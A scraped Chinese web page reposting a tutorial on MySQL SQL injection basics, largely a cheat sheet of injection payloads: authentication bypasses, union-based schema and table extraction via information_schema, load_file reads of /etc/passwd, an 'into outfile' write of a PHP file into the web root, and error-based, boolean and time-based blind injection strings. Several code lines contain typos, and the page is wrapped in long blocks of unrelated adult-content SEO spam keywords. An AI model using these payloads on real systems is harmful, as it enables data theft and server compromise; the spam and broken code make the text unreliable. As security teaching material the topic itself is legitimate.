婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > sql注入之必備的基礎知識

sql注入之必備的基礎知識

熱門標簽:泗洪正規電話機器人找哪家 南昌呼叫中心外呼系統哪家好 小程序智能電話機器人 簡單的智能語音電銷機器人 湖南保險智能外呼系統產品介紹 ai電話電話機器人 怎么去開發一個電銷機器人 河北便宜電銷機器人軟件 怎么申請400熱線電話

什么是SQL注入(SQL Injection)

所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL注入式攻擊。

mysql常用注釋

    #

    --[空格]或者是--+

    /*…*/

在注意過程中,這些注釋可能都需要進行urlencode。

mysql認證繞過

      ;%00

     ‘ or 1=1 #

     ‘ /*!or */ 1=1 --+

mysql連接符

mysql中使用+來進行連接。

select * from users where username='zhangsan' and "ab"="a"+"b";

mysql中常見函數

在進行sql注入過程中,會使用到mysql中的內置函數。在內置函數中,又分為獲取信息的函數和功能函數。

信息函數是用來獲取mysql中的數據庫的信息,功能函數就是傳統的函數用來完成某項操作。

常用的信息函數有:

    database() ,用于獲取當前所使用的數據庫信息

    version():返回數據庫的版本,等價于@@version

     user():返回當前的用戶,等價如current_user參數。如:

select user(); #root@localhost
select current_user; #root@localhost

@@datadir,獲取數據庫的存儲位置。

select @@datadir; #D:\xampp\mysql\data\

常見的功能函數有:

load_file():從計算機中載入文件,讀取文件中的數據。

select * from users union select 1,load_file('/etc/passwd'),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16進制繞過單引號限制

into outfile:寫入文件,前提是具有寫入權限

select '?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php';
select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';

concat():返回結果為連接參數產生的字符串。如果其中一個參數為null,則返回值為null。

用法如下:

select concat(username,password)from users;

*concat_ws() :是concat_ws()的特殊形式,第一個參數是分隔符,剩下的參數就是字段名。

select concat_ws(',',username,password) from users;

group_concat() :用于合并多條記錄中的結果。

用法如下:

select group_concat(username) from users;
#返回的就是users表中所有的用戶名,并且是作為一條記錄返回。

subtring() ,substr():用于截斷字符串。用法為:substr(str,pos,length) ,注意pos是從1開始的。

select substr((select database()),1,1);

ascii():用法返回字符所對應的ascii值。

select ascii('a'); #97

length():返回字符串的長度。

如:

select length("123456") #返回6

is(exp1,exp2,exp2):如果exp1的表達式是True,則返回exp2;否則返回exp3。

如:

select 1,2,if(1=1,3,-1) #1,2,3
selecrt 1,2,if(1=2,3,-1) #1,2,-1

以上就是在進行sql注入工程中常用的函數。當然還存在一些使用的不是很多的函數。

    now():返回當前的系統時間

    hex():返回字符串的16進制

    unhex():反向的hex()的16進制

    @@basedir():反向mysql的安裝目錄

    @@versin_compile_os:操作系統

mysql數據庫元信息

在mysql中存在information_schema是一個信息數據庫,在這個數據庫中保存了Mysql服務器所保存的所有的其他數據庫的信息,如數據庫名,數據庫的表,表的字段名稱

和訪問權限。在informa_schema中常用的表有:

     schemata:存儲了mysql中所有的數據庫信息,返回的內容與show databases的結果是一樣的。

     tables:存儲了數據庫中的表的信息。詳細地描述了某個表屬于哪個schema,表類型,表引擎。

     show tables from secuiry的結果就是來自這個表

     columns:詳細地描述了某張表的所有的列以及每個列的信息。

     show columns from users的結果就是來自這個表

下面就是利用以上的3個表來獲取數據庫的信息。

select database(); #查選數據庫
select schema_name from information_schema.schemata limit 0,1 #查詢數據庫
select table_name from information_schema.tables where table_schema=database() limit 0,1; #查詢表
select column_name from information_schema.columns where table_name='users' limit 0,1; #查詢列

sql注入類型

sql注入類型大致可以分為常規的sql注入和sql盲注。sql盲注又可以分為基于時間的盲注和基于網頁內容的盲注。
關于sql的盲注,網上也有很多的說明,這里也不做過多的解釋。關于盲注的概念,有具體的例子就方便進行說明。
延時注入中,常用的函數就包括了if()sleep()函數。

基本的sql表達式如下:

select * from users where id=1 and if(length(user())=14,sleep(3),1);
select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);

寬字節注入

關于寬字節注入,可以參考寬字節注入詳解。寬字節輸入一般是由于網頁編碼與數據庫的編碼不匹配造成的。對于寬字節注入,使用%d5或%df繞過

mysql常用語句總結

常規注入

1' order by num #  確定字段長度
1' union select 1,2,3 # 確定字段長度
-1' union select 1,2,3 # 判斷頁面中顯示的字段
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #顯示mysql中所有的數據庫
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1  在注釋符無法使用的情況下

雙重SQL查選

select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #這種sql語句的寫法,常用于sql的盲注。得到數據庫的信息
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到數據庫的表的信息

 
#利用姿勢如下:
1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

這種利用姿勢是通過mysql執行sql命令時的報錯信息來得到所需要的信息的,在接下來的文章中會對這種寫法進行詳細地分析。

bool盲注

1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90

bool盲注就是根據sql語句執行返回值是True或False對應的頁面內容會發生,來得到信息。

time盲注

1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+

上述的2種寫法都是等價的,time盲注余常規的sql注入方法不同。time盲注需要一般需要使用到if()sleep()函數。然后根據頁面返回內容的長度,進而知道sleep()函數是否有執行。

根據sleep()函數是否執行來得到所需的信息。

總結

以上就是sql注入之必備的基礎知識,接下來的文章將會通過實例詳細地講解sql注入中的知識,今天的這篇文章也主要是作為一個基礎知識。對sql注入感興趣的朋友們請繼續關注腳本之家哦。

您可能感興趣的文章:
  • sql注入之手工注入示例詳解
  • sql注入之新手入門示例詳解
  • 利用SQL注入漏洞登錄后臺的實現方法
  • PHP中防止SQL注入實現代碼
  • PHP+MySQL 手工注入語句大全 推薦
  • 整理比較全的Access SQL注入參考
  • php中防止SQL注入的最佳解決方法
  • php防止SQL注入詳解及防范
  • 利用SQL注入漏洞拖庫的方法
  • SQL注入之基于布爾的盲注詳解

標簽:景德鎮 荊門 那曲 威海 江蘇 瀘州 淮安 柳州

巨人網絡通訊聲明:本文標題《sql注入之必備的基礎知識》,本文關鍵詞  sql,注入,之,必備,的,基礎知識,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《sql注入之必備的基礎知識》相關的同類信息!
  • 本頁收集關于sql注入之必備的基礎知識的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    99久久精品国产一区| 最新不卡av在线| 日韩精品一区二区三区四区视频 | 日韩视频一区在线观看| 久久久综合精品| 亚洲另类在线制服丝袜| 天天影视色香欲综合网老头| 国产很黄免费观看久久| 欧美三片在线视频观看| 国产亚洲美州欧州综合国| 亚洲自拍偷拍网站| 国产乱码精品一区二区三区av| 日本丶国产丶欧美色综合| 日韩欧美一区二区免费| 亚洲精品久久久久久国产精华液| 蜜桃在线一区二区三区| 99久久99久久久精品齐齐| 欧美一区二区三区喷汁尤物| 亚洲欧美日韩综合aⅴ视频| 狠狠色综合播放一区二区| 欧美在线free| 欧美激情艳妇裸体舞| 日本中文字幕不卡| 色天天综合色天天久久| 久久久www成人免费毛片麻豆| 亚洲一区二区三区四区不卡| 成人av资源下载| 久久嫩草精品久久久久| 天天综合天天做天天综合| 色综合一区二区| 久久精品人人做人人综合 | 日本中文在线一区| jvid福利写真一区二区三区| 日韩精品专区在线影院观看| 亚洲成人精品一区二区| 91欧美一区二区| 国产精品日日摸夜夜摸av| 久久精品久久99精品久久| 欧美日韩一级二级| 亚洲在线视频网站| 欧美亚洲尤物久久| 亚洲永久免费av| 99v久久综合狠狠综合久久| 精品国产3级a| 激情综合色播五月| 欧美成人欧美edvon| 日本成人在线看| 欧美综合亚洲图片综合区| 亚洲免费观看高清完整版在线观看熊| 国产成人99久久亚洲综合精品| 精品国内片67194| 国产美女视频一区| 久久综合色天天久久综合图片| 亚洲综合一区在线| 在线观看欧美日本| 亚洲男帅同性gay1069| 成人高清视频在线| 亚洲麻豆国产自偷在线| 日本道在线观看一区二区| 一区二区三区在线观看欧美 | 99热99精品| 亚洲人妖av一区二区| 91久久精品日日躁夜夜躁欧美| 亚洲精品国产一区二区精华液 | 五月天丁香久久| 欧美电影影音先锋| 麻豆精品蜜桃视频网站| 精品毛片乱码1区2区3区| 国产伦精品一区二区三区视频青涩| www久久精品| av激情成人网| 午夜精品久久久久影视| 日韩一级黄色片| 国产毛片一区二区| 国产精品欧美极品| 欧美三级电影精品| 久久精品国内一区二区三区| 久久久久久9999| 一本大道久久精品懂色aⅴ| 亚洲大片在线观看| 久久精品人人做| 91同城在线观看| 免费av成人在线| 亚洲欧美自拍偷拍色图| 欧美一区欧美二区| 国产盗摄一区二区| 亚洲成人手机在线| 欧美—级在线免费片| 欧美午夜在线一二页| 国产精品亚洲一区二区三区妖精| 亚洲色图欧美偷拍| 日韩片之四级片| youjizz国产精品| 强制捆绑调教一区二区| 中文字幕一区二区5566日韩| 欧美女孩性生活视频| 不卡一区二区三区四区| 蜜臀av一区二区在线观看 | 色成人在线视频| 狠狠v欧美v日韩v亚洲ⅴ| 亚洲精品久久7777| 精品成人在线观看| 在线免费不卡视频| 国产在线精品不卡| 亚洲超碰精品一区二区| 国产性色一区二区| 欧美电影一区二区| 91丝袜美女网| 国产精品一二三区| 日韩影院在线观看| 中文字幕一区二区三| 日韩一区二区三区视频| 色婷婷av一区| 顶级嫩模精品视频在线看| 另类欧美日韩国产在线| 一区二区久久久久久| 国产喷白浆一区二区三区| 日韩欧美www| 欧美精选一区二区| 欧美日韩国产高清一区二区三区| av亚洲精华国产精华精华| 国产一区在线看| 美女网站色91| 日韩激情中文字幕| 午夜av一区二区三区| 亚洲国产日韩一级| 亚洲永久精品大片| 亚洲制服丝袜一区| 亚洲一卡二卡三卡四卡五卡| 亚洲欧美色综合| 亚洲人成在线观看一区二区| 亚洲天堂免费看| 亚洲美女视频一区| 亚洲欧美激情小说另类| 亚洲日本电影在线| 有码一区二区三区| 亚洲在线一区二区三区| 玉足女爽爽91| 夜夜精品视频一区二区| 亚洲欧美色图小说| 亚洲综合色区另类av| 亚洲国产一区在线观看| 亚洲成人午夜影院| 蜜桃视频在线观看一区| 狠狠色丁香婷婷综合| 国产精品自拍一区| 成人高清视频免费观看| 色综合久久88色综合天天6| 91成人国产精品| 欧美日本高清视频在线观看| 日韩一级免费观看| 欧美成人性战久久| 亚洲国产精品av| 亚洲乱码国产乱码精品精可以看| 亚洲欧美激情视频在线观看一区二区三区| 亚洲欧美区自拍先锋| 国产精品国产馆在线真实露脸| 国产精品欧美一区喷水| 亚洲午夜一二三区视频| 久久99国产精品免费网站| 韩国理伦片一区二区三区在线播放| 国产精品乡下勾搭老头1| 91丨porny丨首页| 欧美日韩精品福利| 久久综合久久综合亚洲| 国产精品萝li| 天天综合网 天天综合色| 国产一区二区美女| 在线免费观看视频一区| 欧美成人一区二区三区片免费 | 亚洲综合视频在线| 日本特黄久久久高潮| 成人免费视频视频| 欧美精品日韩综合在线| 中文在线免费一区三区高中清不卡| 亚洲精品国久久99热| 激情综合色综合久久| 91蜜桃传媒精品久久久一区二区| 欧美区视频在线观看| 国产色一区二区| 日本最新不卡在线| 99riav一区二区三区| 欧美变态tickling挠脚心| 亚洲特黄一级片| 国产一区二区三区av电影 | 亚洲成人动漫精品| 国产精品18久久久久久vr| 在线中文字幕一区二区| 久久久久久99久久久精品网站| 亚洲国产精品一区二区久久恐怖片| 国产一区二区h| 欧美日韩视频在线观看一区二区三区 | 欧美一区二区三区在线观看视频| 中文久久乱码一区二区| 日本aⅴ精品一区二区三区| 91小视频在线免费看| 亚洲精品一区二区三区99| 亚洲成人免费观看| 日本久久电影网| 国产精品麻豆欧美日韩ww|